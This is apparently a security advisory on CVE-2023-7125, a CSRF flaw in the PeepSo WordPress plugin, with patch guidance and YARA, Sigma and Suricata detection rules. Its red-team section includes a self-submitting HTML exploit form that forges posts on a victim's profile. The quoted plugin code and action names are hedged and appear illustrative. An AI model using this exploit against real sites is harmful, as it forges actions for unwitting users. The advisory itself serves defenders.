CVE-2023-7125

Executive Summary

CVE-2023-7125 is a Cross-Site Request Forgery (CSRF) vulnerability identified in the Community by PeepSo WordPress plugin, affecting versions prior to 6.3.1.2. This flaw allows an unauthenticated attacker to trick a logged-in user into unknowingly creating a post on their own profile wall. The attack requires user interaction (e.g., clicking a malicious link) but does not require any prior authentication from the attacker. The vulnerability stems from the absence of a CSRF nonce or token validation when processing the "create user post" action.

Given that this is a WordPress plugin vulnerability, the attack surface is limited to sites running the PeepSo plugin. The impact is considered low (CVSS 3.1 base score 4.3) as it only allows unauthorized post creation, not data theft or privilege escalation. However, it can be used for social engineering, spam, or reputation damage.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The PeepSo plugin is distributed via the official WordPress plugin repository and commercial channels. Users must ensure they are using a trusted source (e.g., wordpress.org or the vendor's site) and verify the integrity of the plugin files via checksums if available. No known supply chain compromise has been reported for this CVE.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
• Base Score: 4.3 (Medium)
• Attack Vector (AV): Network – The attack is executed over the network.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): None – The attacker does not need to be authenticated.
• User Interaction (UI): Required – The victim must click a link or visit a crafted page.
• Scope (S): Unchanged – The vulnerable component and the impacted component are the same.
• Confidentiality (C): None – No data is exposed.
• Integrity (I): Low – An attacker can create a post, but cannot modify existing data.
• Availability (A): None – No denial of service.

Threat Level: Medium. The attack is easy to execute but requires user interaction and only allows low-impact actions (post creation). It is not suitable for large-scale automated exploitation without social engineering.

Deep Dive & Mechanics

The vulnerability exists in the PeepSo plugin's AJAX handler responsible for creating user posts (status updates on the user's profile wall). The plugin registers an AJAX action (e.g., peepso_ajax_activity_post) that is accessible to authenticated users. However, the handler does not verify a CSRF nonce or token before processing the request.

Attack Flow:

1. An attacker crafts a malicious HTML page or email containing a form or JavaScript that automatically submits a POST request to the vulnerable WordPress site.
2. The request includes the necessary parameters (e.g., post_content, post_type, user_id) to create a post on the victim's wall.
3. The victim, who is logged into the target WordPress site, visits the attacker's page.
4. The victim's browser sends the forged request along with their session cookies.
5. The PeepSo plugin processes the request without CSRF validation, creating the post.

Root Cause: The create_post or similar function in the PeepSo plugin does not call check_ajax_referer() or wp_verify_nonce() before executing the action. This is a classic CSRF vulnerability.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-6.3.1.2):

// In class-peepso-ajax.php or similar
public function activity_post() {
    // No CSRF check
    $post_content = $_POST['post_content'];
    $user_id = get_current_user_id();
    // ... create post logic
    $post_id = wp_insert_post(array(
        'post_author' => $user_id,
        'post_content' => $post_content,
        'post_type' => 'peepso-post',
        'post_status' => 'publish'
    ));
    // ...
}

Patched Code (6.3.1.2+):

// In class-peepso-ajax.php or similar
public function activity_post() {
    // CSRF check added
    if (!wp_verify_nonce($_REQUEST['_wpnonce'], 'peepso-activity-post')) {
        wp_die('Security check failed');
    }
    $post_content = $_POST['post_content'];
    $user_id = get_current_user_id();
    // ... create post logic
    $post_id = wp_insert_post(array(
        'post_author' => $user_id,
        'post_content' => $post_content,
        'post_type' => 'peepso-post',
        'post_status' => 'publish'
    ));
    // ...
}

The patch adds a call to wp_verify_nonce() using a nonce field (_wpnonce) that must be included in the request. This nonce is generated server-side and tied to the user session, preventing cross-origin requests from succeeding.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site running PeepSo < 6.3.1.2.
• A victim user logged into the site.
• Attacker-controlled web server or ability to host a malicious page.

Exploit Steps:

1. Create a malicious HTML file (e.g., exploit.html) with the following content:

<html>
<body>
<form action="http://target-site.com/wp-admin/admin-ajax.php" method="POST" id="csrf-form">
    <input type="hidden" name="action" value="peepso_ajax_activity_post">
    <input type="hidden" name="post_content" value="This post was created by a CSRF attack!">
    <input type="hidden" name="post_type" value="peepso-post">
</form>
<script>
    document.getElementById('csrf-form').submit();
</script>
</body>
</html>

2. Host this file on a server or send it as an email attachment.
3. Trick the victim into opening the file while logged into the target WordPress site.
4. The victim's browser will submit the form, creating a post on their profile.

Note: The exact AJAX action name may vary. Use browser developer tools on a legitimate post creation to capture the correct action parameter.

Blue Team (Detection & Prevention)

Detection:

• Monitor for unexpected POST requests to /wp-admin/admin-ajax.php with action parameters related to PeepSo (e.g., peepso_ajax_activity_post).
• Look for posts created in rapid succession or with suspicious content (e.g., spam links).
• Check server logs for Referer headers that do not match the site's domain (though this can be spoofed).

Prevention:

• Ensure the PeepSo plugin is updated to version 6.3.1.2 or later.
• Implement a Web Application Firewall (WAF) rule to block requests to admin-ajax.php that lack a valid nonce (though this is complex).
• Educate users about phishing attacks that trick them into clicking malicious links.

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /wp-admin/admin-ajax.php with action=peepso_ajax_activity_post and no _wpnonce parameter.
  • HTTP requests with Referer headers pointing to external domains.
• Host:
  • Unexpected user posts on profile walls containing spam or promotional content.
  • Log entries showing wp_insert_post calls with post_type = 'peepso-post' from unusual user agents.
• File:
  • Presence of the PeepSo plugin version < 6.3.1.2 in /wp-content/plugins/peepso/.

Detection Engineering

YARA Rule

rule CVE_2023_7125_PeepSo_CSRF {
    meta:
        description = "Detects vulnerable PeepSo plugin files (version < 6.3.1.2) by checking for missing CSRF nonce in AJAX handler"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2023-7125"
    strings:
        $func = "function activity_post" nocase
        $no_nonce = "wp_verify_nonce" nocase
    condition:
        $func and not $no_nonce
}

Sigma Rule

title: CVE-2023-7125 PeepSo CSRF Post Creation
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects potential CSRF exploitation attempts against PeepSo plugin by monitoring for POST requests to admin-ajax.php with PeepSo action and no nonce.
author: Valters IT
date: 2024-01-01
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: POST
        cs-uri-query|contains: 
            - "action=peepso_ajax_activity_post"
            - "action=peepso_ajax_post"
    filter:
        cs-uri-query|contains: "_wpnonce"
    condition: selection and not filter
falsepositives:
    - Legitimate plugin updates or custom integrations
level: medium

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2023-7125 PeepSo CSRF Post Creation Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-ajax.php"; http_uri;
    content:"action=peepso_ajax_activity_post"; http_client_body;
    pcre:"/^(?!.*_wpnonce).*$/P";
    sid:1000001;
    rev:1;
    reference:cve,2023-7125;
    metadata:created_at 2024-01-01, updated_at 2024-01-01;
)

Remediation & Mitigation

Immediate Actions:

1. Update the PeepSo plugin to version 6.3.1.2 or later. This is the only official patch.
2. If immediate update is not possible, disable the PeepSo plugin temporarily until the update can be applied.
3. Implement a WAF rule to block POST requests to admin-ajax.php that contain PeepSo actions but lack a nonce parameter (though this may cause false positives).

Long-term Mitigations:

• Enforce the use of CSRF tokens (nonces) for all AJAX actions in custom WordPress plugins.
• Regularly audit plugins for security vulnerabilities using tools like WPScan.
• Educate users about the risks of clicking untrusted links while logged into administrative interfaces.

Workarounds (if patching is delayed):

• Add a custom function to your theme's functions.php to validate nonces for PeepSo AJAX actions:

add_action('wp_ajax_peepso_ajax_activity_post', 'custom_peepso_csrf_check', 1);
function custom_peepso_csrf_check() {
    if (!wp_verify_nonce($_REQUEST['_wpnonce'], 'peepso-activity-post')) {
        wp_die('CSRF validation failed');
    }
}

• Use a security plugin like Wordfence to add virtual patching for known vulnerabilities.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert